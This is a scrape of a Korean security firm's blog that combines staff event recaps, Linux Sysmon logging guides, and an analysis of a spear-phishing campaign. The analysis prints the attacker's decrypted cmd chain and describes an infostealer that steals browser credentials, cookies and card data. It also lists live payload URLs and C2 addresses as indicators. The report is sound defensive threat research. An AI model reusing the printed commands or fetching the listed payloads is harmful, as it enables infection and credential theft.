숙소 근처 맥주집에 삼삼오오 모여 앉아 가볍게 맥주를 즐기며 하루 동안의 일정과 웃지 못했던 에피소드를 나누는 시간을 가졌습니다.

형식 없이 편안한 분위기 속에서 동료들과의 거리도 한층 가까워졌고 가을밤의 여운을 끝까지 만끽할 수 있었습니다.

다음 날 아침 든든한 조식 후에는 힐링 아로마테라피 프로그램이 진행되었습니다.

향기를 통해 요즘 지쳐 있던 나의 내면을 돌아보고 스스로를 잠시 응원하는 시간을 가졌습니다.

조용하지만 깊이 있는 힐링의 순간은 워크샵의 또 다른 의미를 느끼게 해주었습니다.

워크샵의 마지막 일정은 알록달록 물들기 시작한 화담숲 산책이었습니다.

붉고 노란 단풍이 어우러진 풍경 속에서 사진도 찍고 천천히 걸으며 가을을 온전히 느낄 수 있었습니다.

자연 속에서 보내는 이 여유로운 시간이 이번 워크샵의 마무리를 더욱 완벽하게 만들어주었습니다.

이번 가을 워크샵은 단순한 일정 소화가 아닌 쉼과 교류, 그리고 재충전의 시간이었습니다.

업무에서 잠시 벗어나 자연에서 동료와 함께하는 이 시간이 남은 하반기를 더 단단하게 버틸 수 있는 소중한 원동력이 되었습니다.

PLAINBIT는 앞으로도 함께 쉬고, 함께 성장할 수 있는 시간을 지속적으로 만들어가겠습니다.

지난 9월 1일 월요일, 9월의 시작을 더욱 특별하게 열어준 제5회 PLB Day가 진행되었습니다. 월요일이라 조금은 무거운 한주의 출발이었지만, 상큼한 과일 간식과 함께 활기차게 하루를 시작할 수 있었는데요. 다 같이 모여 담소를 나누며 따뜻한 분위기 속에서 행사가 열렸습니다.

👋 새로운 플비즈 환영식

본격적인 발표에 앞서, 최근 플비즈로 합류한 새로운 동료들의 인사가 있었습니다.

• 김지연 연구원 (인텔리전스1팀)
• 박수연 연구원 (DFIR서비스팀)
• 전은규 연구원 (개발팀)

세 분의 입사를 진심으로 환영하며, 앞으로의 활약을 기대하겠습니다!

📢 오전 세션: 흥미로운 발표 릴레이

1. 청주란 무엇인가? – 손석훈 연구원 (DFIR서비스팀)

청주의 자랑스러운 토박이, 석훈 연구원이 고향의 명소와 맛집을 소개하며 청주의 매력을 듬뿍 전했습니다. 고향에 대한 애정이 묻어나는 발표 덕분에 모두 청주로 여행을 떠나고 싶어졌다는 후문!

2. 운전뉴비의 전기차 사용기 – 권기업 선임연구원

첫 차로 전기차를 선택한 기업 선임님의 현실적인 고민과 경험담, 그리고 전기차의 장점을 직접 들을 수 있었던 발표였습니다. 뉴비의 시선에서 전해준 솔직한 이야기 덕분에 차를 사려는 분들에게 유용한 시간이 되었을 것 같습니다.

3. 슬기로울뻔한 디지털 포렌식 - 해외편 – 장유진 연구원

유진 연구원은 디지털 포렌식 센터의 해외 출장 사례를 소개했습니다. 싱가포르, 베트남에서의 현장 이야기, 그리고 최근 프랑스 의뢰 대응까지. PLAINBIT의 해외 대응 역량이 꾸준히 쌓이고 있다는 점을 확인하며, 디포센터의 묵묵한 수고와 탄탄한 전문성이 전해진 시간이었습니다.

4. 탁구!! – 최성원 수석연구원

성원 수석연구원은 탁구의 경기 룰부터 기본 기술, 그리고 직접 사용하는 장비까지 소개하며 열정 가득한 발표를 선보였습니다. 탁구를 잘 알지 못했던 사람도 쉽게 이해할 수 있었고, 함께 라켓을 잡아보고 싶은 마음이 드는 즐거운 시간이었습니다. 탁구에 관심 있는 플비즈라면, 성원 수석님 앞으로 줄 서세요~

5. APT Down - The North Korea Files – 황희재 연구원

희재 연구원은 'APT Down - The North Korea Files' 데이터를 직접 분석한 결과를 공유하였습니다. 공격자 워크스테이션에서 유출된 로그, 도구, 소스코드 등을 체계적으로 설명하고, 공격자의 정체에 대한 추정까지 덧붙였습니다. 전문성과 깊이 있는 분석으로 모두의 집중을 이끌어낸 발표였습니다.

6. 카멜레온 자격증 수집기 – 이동현 연구원

무려 32가지 자격증을 보유했다는 동현 연구원! 그래서 발표 제목을 '카멜레온 자격증 수집기'로 정했다고 하는데요. 컴퓨터 관련 자격증은 물론 항공기 정비 기능사, 동력수상레저기구 조종 면허까지. 다재다능함에 모두가 감탄했습니다. 진정한 팔방미인 인증!

🎉 오후 세션: 팀별 여가 활동

발표 후에는 팀별로 여가 활동을 즐기며 리프레시하는 시간을 가졌습니다. 😆

인텔리전스1팀

인텔리전스1팀은 홍대 크라임씬에서 방탈출 게임을 즐겼습니다. 시나리오에 맞춰 역할을 나누고, 복장까지 갖춰 입은 모습이 인상적이었는데요. 사건의 단서를 하나하나 찾아내며 머리를 맞대는 과정에서 팀워크가 절로 드러났다고 하네요!

인텔리전스2팀

인텔리전스2팀은 일일 제빵사로 변신해 색다른 시간을 보냈습니다. 직접 반죽을 빚고 모양을 내며 구워낸 거북이 쿠키는 기대 이상으로 잘 나와 모두 흡족했다고 하는데요. 옹기종기 모여 앉아 서로 도와가며 작업하는 모습이 훈훈합니다!

연구팀&개발팀

연구팀과 개발팀은 볼링장에서 만났습니다. '커피 내기'라는 작은 미션 하나로 분위기가 금방 달아올랐고, 스트라이크가 나올 때마다 환호성이 울려 퍼졌습니다. 특히 전은규 연구원이 숨은 볼링 고수라는 사실이 밝혀지며 모두를 놀라게 했습니다.

DFIR서비스팀

DFIR서비스팀은 함께 영화 'F1'을 관람한 뒤 뒤풀이로 이어갔습니다. 박수연 연구원은 PLB Day 당일 입사했는데, 첫날의 긴장을 풀고 팀원들과 자연스럽게 어울릴 좋은 기회가 되었을 것 같습니다.

디지털포렌식센터

디지털포렌식센터는 용산 아이파크몰을 찾아 즐거운 시간을 보냈습니다. 요즘 핫한 팝업스토어를 구경하며 인증샷을 남기고, 영화 '귀멸의 칼날'을 함께 보며 MZ 감성을 만끽했습니다.

경영지원실

경영지원실도 볼링장을 선택했습니다. '5게임에 만 원'이라는 평일 낮 혜택 덕분에 볼링을 실컷 즐길 수 있었는데요, 게임이 거듭될수록 모두의 승부욕이 활활 타올랐습니다. 서로의 새로운 모습을 발견하며 더욱 가까워지는 시간이었습니다.

🙌 마무리

발표로 시작한 오전이 지식과 경험을 나누는 자리였다면, 오후는 팀별 활동으로 관계를 한층 가까이 만든 시간이었습니다.

앞으로도 매번 색다른 즐거움과 배움을 함께 나누는 PLB Day가 되기를 기대합니다.💙

🎶 보너스 스냅

1. 개요

지난 6월 13일경, 자사 대표 메일 계정으로 ‘웹사이트에 게시된 콘텐츠와 관련된 공식 안내문’이라는 제목의 메일이 수신되었다.

본 글에서는 해당 스피어피싱 이메일에 대한 메일 헤더, 본문, 첨부된 악성 링크와 다운로드 되는 파일들에 대한 분석 내용을 기술한다.

2. 수신된 메일 분석

2.1. 메일 헤더

• 발신자 이메일 주소는 deunofujioemnipeggymaxim4085@gmail.com으로, Gmail 주소를 사용한 것으로 확인되었다. 이는 공격자가 Google 계정을 생성하여 악성 메일 발송에 활용한 것으로 판단된다.
• 메일 인증 프로토콜 결과를 통해 SPF, DKIM, DMARC 모두 pass 상태로 확인된다. 공격자가 Gmail 서비스를 사용하였기 때문에 이런 결과가 나온 것으로 판단된다.
• 메일 발송 서버 정보를 나타내는 공식 Received 헤더에는 mail-sor-f41.google.com이 기록되어 있으며, 이는 Google의 메일 서버로 확인된다.

2.2. 메일 본문

해당 메일은 HMP Law(황목박 법률사무소)를 사칭하여 웹사이트 내 저작권 위반 내용을 통지하는 형식으로 구성되어 있다.

메일 본문에는 수신자의 웹사이트에 게시된 콘텐츠가 저작권을 침해하고 있으며, KeyEast의 요청에 따라 해당 사실을 확인하였다는 내용을 담고 있다.

본문 중간에는 문제된 콘텐츠의 상세 목록과 확인 일자, 저작권 소유자 등의 정보가 기술되어 있으며, ‘관련 기사 목록 및 세부 자료(PDF 파일)’이라는 문구를 통해 첨부파일 또는 외부 링크 클릭을 유도하고 있었다.

특히, ‘HMP Law’, ‘KeyEast’ 등 실제 존재하는 회사명을 사용하여, 수신자에게 3일 이내 조치를 요청하는 등 긴박감을 조성하여 클릭을 유도하는 사회공학적 기법이 사용되었다.

본문의 내용은 수신자가 의심 없이 링크를 열람하도록 유도하기 위한 전형적인 스피어 피싱 공격 수법으로 판단된다.

이메일 본문에서 확인된 링크를 통해 사용자에게 악성 파일을 다운로드하도록 유도하는 구조이다.

해당 링크를 통해 제공된 파일의 정보는 아래와 같다.

3. 악성파일 분석

악성파일 내용

이메일 본문에서 유도된 링크를 통해 다운로드된 압축 파일(위반_게시물_목록_상세_자료.zip)을 확인한 결과, 내부에는 다음과 같은 파일들이 존재한다.

이 중 위반_게시물_목록_상세_자료.exe는 PDF 문서 아이콘과 유사한 아이콘을 사용하고 있으나, 실제로는 실행 파일로 확인된다.

나머지 DLL 파일 및 폴더는 모두 숨김 속성이 설정되어 있어 Windows 기본 설정으로 사용중인 일반 사용자는 인지하기 어렵다.

악성파일 실행 흐름

본 보고서에서는 악성 행위의 흐름을 보다 명확히 설명하기 위해 분석 결과를 바탕으로 공격 과정을 3단계로 구분하여 설명한다.

1단계 - 악성코드 실행 환경 구성

위반_게시물_목록_상세_자료.exe

첨부된 파일 중 사용자가 실행하게 되는 프로그램으로, 앞서 설명한 바와 같이 PDF 문서와 유사한 아이콘을 사용하여 사용자의 실행을 유도한다.

파일의 속성 정보에는 Haihaisoft社의 PDF Reader로 표시되어 있으며, 해당 프로그램은 정상 프로그램으로 악성행위를 수행하지 않는다.

위반_게시물_목록_상세_자료.exe 파일이 실행되면, 동일 경로에 위치한 version.dll 파일을 로드하게 된다.

이는 Windows 운영체제의 DLL 검색 순서(DLL Search Order)를 악용한 것으로, 실행 파일과 동일한 위치에 존재하는 DLL이 우선적으로 로드되는 특성을 이용한 것이다.

공격자는 이 메커니즘을 활용하여 악성 DLL을 로드한다.

version.dll

해당 악성 version.dll은 정상 DLL을 위장한 Proxy DLL로, 실행 파일과 동일한 경로에 위치시켜 우선적으로 로드되도록 구성되어 있다.
이후 정상적인 기능 제공을 위하여 시스템 디렉터리 내의 진짜 version.dll을 찾아 로드하고, 해당 DLL의 함수들을 중계(proxy)하는 방식으로 동작한다.

_ 폴더에 존재하는 Evidence Report.docx는 악성 DLL이 실행 중 불러오는 파일로, 문서 확장자를 사용하고 있으나 내부에는 암호화된 페이로드가 저장되어 있다.

Evidence Report.docx 파일의 내용을 복호화한 결과는 아래와 같다.

cmd /c cd _ && start Document.pdf && certutil -decode Document.pdf Invoice.pdf && images.png x -ibck -y Invoice.pdf C:\\\\Users\\\\Public && start C:\\\\Users\\\\Public\\\\Windows\\\\svchost.exe C:\\\\Users\\\\Public\\\\Windows\\\\Lib\\\\images.png ADN_NEW_VER_BOT && exit && exit

복호화된 페이로드는 Windows 명령 프롬프트(cmd.exe)를 이용해 악성 행위를 수행하도록 구성되어 있으며, 분석한 결과는 아래와 같다.

1. 암호화된 페이로드 복호화 - certutil -decode Document.pdf Invoice.pdf 명령을 통해, 암호화된 Document.pdf 파일을 Invoice.pdf로 복호화한다. 이는 Windows 기본 도구인 certutil을 이용한 것으로, 외부 도구 없이도 암호화를 해제할 수 있도록 구성되어 있다.
2. 악성 페이로드 압축 해제 - images.png x -ibck -y Invoice.pdf C:\\Users\\Public 명령을 통해, 복호화된 Invoice.pdf 파일을 images.png라는 실행 파일을 사용하여 지정된 경로(C:\\Users\\Public)에 압축 해제한다. 해당 images.png는 실제 압축 해제 기능을 수행하는 WinRAR이며, 확장자만 .png 로 변경되어 있다.
3. 2단계 악성코드 실행 - 마지막으로 start C:\\Users\\Public\\Windows\\svchost.exe C:\\Users\\Public\\Windows\\Lib\\images.png ADN_NEW_VER_BOT 명령을 통해, 2단계 악성코드가 실행된다.

2단계 - 정보탈취 및 지속성 유지

1단계에서 압축 해제 이후 생성된 디렉터리인 C:\Users\Public\Windows에는 아래와 같은 실행 파일 및 라이브러리 파일들이 포함되어 있다.

특히, 해당 경로에 존재하는 svchost.exe는 이름만 Windows 시스템 파일과 동일하게 위장되어 있을 뿐, 실제 파일은 Python 런타임 실행 파일(pythonw.exe)으로 확인되었다.

또한, C:\Users\Public\Windows 디렉터리에는 python310.dll, vcruntime140.dll 등 Python 실행에 필요한 필수 구성 요소가 함께 포함되어 있어, 외부 의존성 없이 독립적으로 악성 스크립트를 구동할 수 있는 환경이 갖추어져 있는 상태이다.

C:\Users\Public\Windows\Lib\images.png

해당 images.png 파일은 내부적으로 Python 스크립트를 포함하고 있으며, 암호화된 형태의 코드를 복호화한 뒤 marshal.loads()를 통해 컴파일된 파이썬 바이트코드(.pyc)를 로딩하고, exec() 함수를 통해 실행하는 구조를 가진다.

이후 등장하는 악성 Python 스크립트들도 동일한 방식으로 구성되어 있다.

해당 악성코드에서 확인된 기능은 아래와 같다.

• 레지스트리 등록

지속성 유지를 위해서 컴퓨터가 부팅될 때마다 실행될 수 있도록 HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run 경로에 키 값 Windows Update Service 를 등록한다.

• 추가 페이로드 다운로드 및 실행

텔레그램 주소 t.me/ADN_NEW_VER_BOT에 접근하여, 추가 페이로드 다운로드에 필요한 값(bAfkY)을 파싱한다.

이후, 해당 값을 이용하여 텍스트 파일 공유 사이트 paste.rs의 https://paste.rs/bAfkY 경로로부터 추가 페이로드를 다운로드한다.

paste.rs/bAfkY에서 다운로드된 파일은 bAfkY.py라고 명명하였다.

bAfkY.py

bAfkY.py는 텍스트 공유 사이트 paste.rs를 통해 다운로드된 Python 기반 악성 스크립트로 확인된다.

분석을 통해 확인한 기능은 아래와 같다.

• 시스템 정보 수집
  • 설치된 백신 목록
  • 컴퓨터 이름, 사용자명
  • 공인 IP 및 국가 코드 (ipwho.is API 이용)
  • 운영체제 정보
• 브라우저 정보 수집
  • 대상 브라우저
    • Chomium 기반 브라우저
      • Chromium, Thorium, Chrome, Iridium, Vivaldi, Epic, Dragon, CocCoc, Brave, Brave Nightly, Edge, Yandex, Slimjet, Opera, Opera GX, Opera Crypto, Speed360, QQBrowser, Sogou, Naver Whale, Avast, AVG, SRWare, Falkon, Wavebox, Sidekick, Ghost, Blisk, CCleaner, CentBrowser, Liebao, Maxthon, UR Browser, Arc, Mullvad, Aloha, 360extremebrowser
    • Gekco 기반 브라우저
      • Firefox, Firefox Nightly, Pale Moon, SeaMonkey, Waterfox, Mercury, K-Meleon, IceDragon, Cyberfox, BlackHaw, Basilisk, Firefox ESR, Flock, SlimBrowser, CometBird, GNU IceCat
  • 수집 항목
    • 저장된 계정 정보 (ID/비밀번호)
    • 쿠키
    • 자동완성 정보
    • 저장된 결제 카드 정보
    • 방문 기록

• 수집 정보 전송
  • 수집된 모든 정보를 압축하여 .zip 파일로 생성한 후, 공격자가 구축한 인프라에 업로드
  • 사용된 명령제어(C2) 서버 주소
    • https://lp2tpju9yrz2fklj.lone-none-1807.workers.dev

• 추가 페이로드 실행
  • ClipBanker 실행
    • https://paste.rs/7S7TJ에서 다운로드
  • PureHVNC 실행
    • https://0x0.st/8gPe.py에서 다운로드

3단계 - 추가 악성코드 실행

ClipBanker(7S7TJ.py)

paste.rs/7S7TJ 에서 다운로드 되는 파이썬 스크립트이며, 클립보드 모니터링을 통해 암호화폐 지갑 주소를 탈취하는 ClipBanker 계열의 악성코드다.

분석을 통해 확인한 공격자 지갑 주소 목록은 아래와 같다.

PureHVNC(8gPe.py)

8gPe.py는 Python으로 작성된 악성 스크립트로, Process Hollowing 기법을 활용하여 악성 페이로드를 실행한다.

디컴파일한 코드 내에서 Proccess Hollowing을 위한 전형적인 Windows API 호출 패턴이 확인된다.

Process Hollowing의 대상은 C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe 로 확인된다.

실행되는 악성코드는 C#으로 작성된 PureHVNC 악성코드로 확인된다.

상세 분석 결과, 연결하는 C2서버는 157.66.26.209로 확인된다.

식별된 C2 서버(157.66.26.209) 관련하여 협력사인 나루시큐리티의 도움을 받아 네트워크 분석을 진행하였다.

공격자는 뉴질랜드에 위치한 취약 서버들을 먼저 침해하여 공격 거점과 컨트롤러로 활용한 뒤 이를 중계지로 거쳐 최종적으로 C2 서버에 접속하는 것으로 파악된다.

이 과정에서 3218, 541, 56001~56003번 포트가 사용되었다. 즉, 공격 인프라는 거점 서버→컨트롤러→C2 서버→감염지로 이어지는 다단계 구조를 가지며 취약하게 관리되고 있는 보안 솔루션 서버를 악용하고 있는 특징이 있었다.

4. 결론

본 사례와 같이 실존하는 기관이나 법률사무소를 사칭한 스피어피싱 공격은 수신자의 신뢰를 유도하고 판단력을 흐림으로써, 즉각적인 행동을 유발하도록 설계되어 있어 각별한 주의가 요구된다.

이러한 공격을 예방하기 위해서는 임직원을 대상으로 한 정기적인 보안 교육을 시행하고, 이메일 수신 시 발신자 정보와 첨부파일, 하이퍼링크의 진위 여부를 확인하는 습관을 갖는 것이 중요하다.

또한, 필요 시 외부 이메일에 대한 모니터링 체계를 구축하고, 의심스러운 첨부파일이나 링크에 대해 자동 분석 및 차단 기능을 제공하는 보안 솔루션을 도입하는 방안도 고려할 수 있다.

특히 이번 사례에서는 기존의 실행 파일(.exe)이 아닌, Python 스크립트 기반의 악성코드가 사용된 점이 특징적이다.

공격자는 자체적인 실행 환경을 구성하여 의존성을 최소화하고, .pyc 등 중간 형태의 파일을 활용하여 백신 탐지를 우회하려는 시도를 하였다.

이처럼 악성코드는 점점 더 다양한 언어와 파일 형식으로 진화하고 있으며, 이에 따라 보안 체계 또한 정적 분석뿐 아니라 실행 환경 기반의 동적 분석 및 행동 기반 탐지 기능을 함께 갖추어야 한다.

기술적 대응과 사용자 인식 제고가 병행될 때, 스피어피싱으로 인한 실질적인 피해를 효과적으로 줄일 수 있을 것으로 판단된다.

5. IoC

URL

• filezonekr.0911performance.de/YDYcezQ
• t.me/ADN_NEW_VER_BOT
• paste.rs/bAfkY
• lp2tpju9yrz2fklj.lone-none-1807.workers.dev
• 0x0.st/8gPe.py
• paste.rs/7S7TJ7

IP

• 157.66.26.209 (베트남, TRUMVPS COMPANY LIMITED)

Hash

• 28F12E7F6631DC368A4A2887B9E685E0 위반_게시물_목록_상세_자료.zip
• 6675E81AB020AB4568E1D7BBDC99C4E8 version.dll

지난 7월 24일은 PLAINBIT의 창립기념일이었습니다.

이를 기념하여 하루 전날인 7월 23일(수), 본사 라운지에서 전사 행사가 진행되었습니다. 함께 걸어온 길을 돌아보고, 각 센터의 성과와 미래 비전을 공유하며, 마음을 나누는 뜻깊은 시간이었습니다.

1부 – PLAINBIT의 현재와 미래

1부에서는 PLAINBIT의 각 센터에서 상반기 동안 이뤄낸 성과와 앞으로의 계획을 공유했습니다. 각 센터의 리더들이 직접 나와 발표해주셨습니다.

🌍 싱가포르 지사

해외에서 활약 중인 김범진 이사님과는 화상 연결을 통해, 싱가포르 지사의 현재 활동과 글로벌 네트워크 확장 전략에 대해 들을 수 있었습니다.

타지에서 홀로 묵묵히 PLAINBIT의 이름을 알리고 계신 김범진 이사님께 따뜻한 응원의 박수를 보냅니다. 👏

🕵️ 디지털포렌식센터

김영철 이사님께서는 디지털포렌식센터의 역할과, 주요 협력사와 수행중인 업무를 소개하고, 중소형 법무법인 대상 서비스 확대 등 향후 운영 계획을 발표하셨습니다.

평소 본사와 디지털포렌식센터가 서로 어떤 업무를 하는지 잘 몰랐던 부분을 이번 기회를 통해 공유하고 이해할 수 있는 시간이었습니다.

🛡️ 사이버위협대응센터

이준형 책임님께서 기업 내 보안 위협 대응을 담당하는 센터의 상반기 활동을 정리하고, 하반기 팀별 업무 계획을 발표해주셨습니다.

센터 내 팀들이 다양한 업무를 수행한 가운데, 이준형 책임님께서도 센터장으로서 대외적으로도 적극적으로 회사를 알리며 다양한 활동을 이끌어 주신 모습이 인상 깊었습니다.

🗣️ 대표님의 메시지

이어서 대표님께서 전체 팀의 상반기 활동을 돌아보며, 각 팀이 어떤 일들을 해왔는지 소개해주셨습니다. 또한 하반기 조직의 방향성과 예정된 사내 행사들을 공유하며, 모든 구성원의 노고에 감사를 전하셨습니다. 😊👍

2부 – 임직원 마음관리 프로그램

" Feel bit, Heart bit, PLAINBIT "

경영지원실 현은지 과장님의 진행으로 직장생활에서의 스트레스와 번아웃에 대해 함께 이야기해보고, 이를 건강하게 풀 수 있는 방법들을 나누는 시간이 마련되었습니다.

각 팀에서는 요즘 가장 힐링이 필요한 팀원을 투표해 작은 플랜트 테라피 선물을 전했습니다. 가장 많은 표를 받은 두 분께는 1일 연차권이 주어지며 모두의 응원을 받는 따뜻한 시간이 되었습니다.🪴💚

3부 – 저녁식사

공식 행사를 마친 후에는 맛있는 족발과 함께 저녁식사 자리가 이어졌습니다. 오랜만에 업무를 내려놓고, 마음껏 웃고 이야기할 수 있었던 편안한 시간이었습니다. ❤️

마무리

이번 창립기념일 행사는 PLAINBIT의 성장과 변화를 함께 되돌아보며, 서로의 노고에 공감하고, 앞으로 나아갈 방향을 함께 생각해보는 소중한 자리였습니다.

앞으로도 함께 응원하고 의지하면서, 더 즐겁고 단단한 PLAINBIT를 만들어가요! 🫶

🍦 보너스 스냅

아이스크림 간식으로 당 충전하며 행사 시작!

곧 결혼을 앞둔 이현진 책임님이 청첩장과 함께 컵과일을 나눠주셨어요. 덕분에 더 훈훈했던 창립기념일 행사😍

이전 'A Practical guide for Linux Sysmon : Concept and install'에서 Linux Sysmon을 어떻게 설치할 수 있는지 알아봤다. 본 글에서는 Linux Sysmon이 기록하는 이벤트와 활용 방안에 대해 살펴본다.

Linux Sysmon은 프로세스 생성 이벤트를 포함해 총 9개 이벤트로 구성되어 있으며, 이를 통해 시스템 내에서 발생하는 다양한 활동을 모니터링할 수 있다. 각 이벤트는 시스템 변경 사항이나 의심스러운 활동을 탐지해 보안 위협을 분석하는 데 중요한 정보를 제공한다.

그러나, Linux Sysmon을 기본 설정으로 설치할 경우, 일부 중요한 이벤트가 기록되지 않을 수 있다. 반대로 모든 이벤트를 활성화할 경우, 너무 많은 이벤트가 기록되어 정작 중요한 이벤트를 놓치거나 분석에 어려움이 생길 수 있다. 따라서, 시스템의 용도와 보안 목표에 맞춰 Sysmon Configure File을 작성하는 것이 중요하다.

2. Linux Sysmon 이벤트

Linux Sysmon은 Windows Sysmon과 Configuration Schema를 공유하기 때문에 Sysmon 이벤트와 구성 항목이 같다. 하지만, 실제 Linux Sysmon에서는 Windows Sysmon에서 지원하는 29개 이벤트 중 9개 이벤트만 지원하고 있다.

각 이벤트의 구성 항목에 대한 설명은 아래 글에서 확인할 수 있다.

A Practical guide for Sysmon : Event items

1. 개요 이전 ‘Sysmon 활용 가이드: 개념 및 설치 방법’에서 Sysmon이 무엇이며 어떻게 설치할 수 있는지 알아봤다. 본 글에서는 Sysmon이 기록하는 이벤트의 구성 항목을 살펴본다. Sysmon은 프로세스 생성을 포함해 총 29개의 이벤트로 구성되어 있으며, 목적에 맞게 이벤트를 활용하면 엔드포인트 보안을 보다 효과적으로 강화할 수 있다. Windows Vista 이상에서는 이벤트가 Microsoft-Windows-Sysmon%

PLAINBIT김서준(Seojun Kim)

Event ID 1. Process Create

Process Create 이벤트는 새로 생성된 프로세스에 대한 정보를 제공한다. 해당 이벤트는 프로세스가 어떤 인자 값과 부모 프로세스에 의해 생성됐는지 파악할 수 있어, 악성 프로세스를 탐지하는 데 활용할 수 있다. 특히, 웹 서버 프로세스(Apache, Nginx 등)와 계정에서 셸 프로세스(bash, sh 등)가 실행된 경우, 웹셸(WebShell)을 통한 원격 명령 실행 공격일 수 있기 때문에 시스템 용도에 따라 탐지 규칙을 설정해야 한다.

Event ID 3. Network connection detected

Network connection detected 이벤트는 시스템의 TCP/UDP 연결을 기록한다. 해당 이벤트는 프로세스가 네트워크 통신한 이력을 파악할 수 있어, 백도어와 내부 이동 프로세스를 탐지하는 데 활용할 수 있다. 특히, 악성 C2 서버 IP 대역이나 내부 서버로 접근할 때 사용되는 프로토콜을 탐지할 수 있도록 규칙을 설정해야 한다.

Event ID 4. Sysmon service state changed

Sysmon service state changed 이벤트는 Sysmon 서비스 상태(시작 또는 중지)를 기록한다.

Event ID 5. Process terminated

Process terminated 이벤트는 프로세스가 종료될 때 기록된다.

Event ID 9. RawAccessRead detected

RawAccessRead detected 이벤트는 프로세스가 드라이브에서 읽기 작업을 수행하는 경우 기록된다. 해당 이벤트는 데이터베이스 서버나 파일 서버에서 정상적인 애플리케이션 외의 프로세스가 드라이브에 직접 접근하는 데이터 탈취 행위를 탐지할 수 있다.

Event ID 11. File created

File created 이벤트는 프로세스가 파일을 생성하거나 덮어쓸 때 기록된다. 해당 이벤트는 프로세스가 어떤 파일을 생성했는지 파악할 수 있어, 악성 프로세스가 추가로 생성하는 파일을 탐지하는 데 활용할 수 있다. 특히, 명령어를 통해 외부에서 파일을 다운로드 받는 행위나, 웹 디렉터리에 실행 파일, 스크립트 파일이 생성되는 것을 탐지할 수 있도록 규칙을 설정해야 한다.

Event ID 16. Sysmon config state changed

Sysmon config state changed 이벤트는 필터링 규칙이 변경된 경우와 같이 Sysmon 설정 변경 내용이 기록된다.

Event ID 23. File Delete

File Delete 이벤트는 시스템에서 파일이 삭제됐을 때 기록된다. 해당 이벤트는 프로세스가 어떤 파일을 삭제했는지 파악할 수 있어, 악성 프로세스가 시스템 내 중요한 파일이나 로그 파일을 삭제하는 것을 탐지할 수 있다. Windows Sysmon과 다르게 ArchiveDirectory를 지원하지 않아, 삭제된 파일을 복구하지 못한다.

Event ID 255. Error report

Error report 이벤트는 Sysmon 내에서 오류가 발생했을 때 기록된다.

3. Configure File 적용

Linux Sysmon의 Configure File 구성 방법은 Windows와 동일하지만, 지원하는 설정과 이벤트가 한정되어 있다. 또한, 이벤트로 탐지해야 하는 대상(프로세스, 실행 경로 등)이 달라 별도의 Linux Sysmon용 Configure File을 구성해 적용하는 것을 권장한다.

Configure File 구성 방법에 대한 설명은 아래 글에서 확인할 수 있다.

A Practical guide for Sysmon : Configure file fields and writing

1. 개요 이전 ‘Sysmon 활용 가이드: 이벤트 구성 항목’에서 Sysmon이 기록하는 이벤트의 구성 항목을 알아봤다. 본 글에서는 Sysmon Configure File의 구성과 작성 방법을 살펴본다. Sysmon을 기본 설정으로 설치하게 되면 기록하지 않는 이벤트가 존재하고, 설정을 모두 활성화하면 매우 많은 이벤트가 기록되어 정작 필요한 이벤트를 놓칠 수 있다. 따라서 시스템 용도에 따라

PLAINBIT김서준(Seojun Kim)

Configure File은 -i 또는 -c 옵션 뒤에 지정해 적용할 수 있다.

sudo sysmon -c BIT-sysmon-config-Linux_v1.0.xml

현재 적용되어 있는 Configure File의 내용을 확인하기 위해서는 아래 명령어를 통해 확인할 수 있다.

sudo sysmon -c

이외에도 적용한 Configure File의 내용이 복사된 구성 파일을 통해 확인할 수 있다.

sudo cat /opt/sysmon/config.xml

4. 이벤트 로그 확인 및 설정

4.1. Linux Sysmon 이벤트 로그 확인

Linux Sysmon 이벤트 로그는 /var/log/messages 또는 /var/log/syslog에 같이 저장된다. 하지만, 이벤트 로그가 한 라인으로 저장되기 때문에 가독성이 좋지 않다.

따라서, Sysmon은 저장된 이벤트 로그를 가독성 있게 출력해주는 Log Viewer(sysmonLogView)를 제공하고 있다.

sudo cat /var/log/messages | /opt/sysmon/sysmonLogView

4.2. Linux Sysmon 이벤트 로그 설정

기본 설정 시 Linux Sysmon 이벤트 로그가 시스템 로그 파일에 함께 저장되기 때문에 시스템 로그, 애플리케이션 로그 등과 구분되지 않아 분석이 어려워질 수 있다. 또한, Sysmon 이벤트 로그를 SIEM(Security Information & Event Management) 시스템과 같은 중앙 집중식 로그 관리 시스템으로 전달할 때 별도의 파일을 사용하는 것이 효율적이다.

아래 설정을 통해 별도의 로그 파일로 Linux Sysmon 이벤트 로그가 저장되도록 설정할 수 있다.

vi /etc/rsyslog.d/30-sysmon.conf
---
if $programname == 'sysmon' then /var/log/sysmon.log
& stop
---
sudo systemctl restart rsyslog

과거에는 Linux 운영체제가 Windows 운영체제에 비해 상대적으로 보안 위협에서 안전하다는 인식이 많았다. 그러나, Action1의 '2025 Software Vulnerability Ratings' 보고서에 따르면, 2024년 Linux 시스템의 취약점 수가 2023년 대비 967% 증가해 공격자들이 악용할 수 있는 공격 표면이 넓어졌음을 알 수 있다. 또한, 이스트시큐리티의 '2024년 3분기 주요 랜섬웨어 동향'에 따르면, 가상화 환경(ESXi)과 Linux 시스템을 목표로 하는 랜섬웨어 공격이 급증하고 있는 것으로 나타났다.

Linux 운영체제에서 기본적으로 남기는 시스템 로그(syslog, messages, secure 등)는 "무슨 일이 일어났는가?"에 대해서는 알려주지만, "누가, 어떻게, 왜"에 대한 정보가 부족하다. 또한, 공격자가 정상적인 시스템 프로세스를 활용해 악성 행위를 수행하는 경우가 많아, 기본 로그만으로는 공격 행위를 모두 파악하기 어렵다.

Sysmon(System Monitor)은 Microsoft의 Sysinternals suite에 포함된 시스템 모니터링 도구로, 시스템에서 일어나는 다양한 이벤트 행위(프로세스 생성, 네트워크 연결 등)를 상세하게 기록한다. Sysmon에 대한 설명은 이전 'A Practical guide for Sysmon : Concept and install' 글에서 확인할 수 있다.

Microsoft에서는 Linux 시스템에서도 동일하게 시스템 활동을 모니터링할 수 있도록 별도 Linux 버전의 Sysmon을 제공하고 있다.

Linux Sysmon은 단순히 프로세스 생성 정보만 기록하는 것이 아니라, 전체 명령줄(Command Line), 프로세스 및 부모 프로세스의 PID와 해시값 등을 함께 기록해 공격자가 어떤 명령을 수행했는지 파악할 수 있다. 또한, 프로세스가 수행한 네트워크 연결을 기록해 악성 C2(Command & Control) 서버와의 통신이나, 내부 이동(Lateral Movement)을 수행하는 것을 식별할 수 있다.

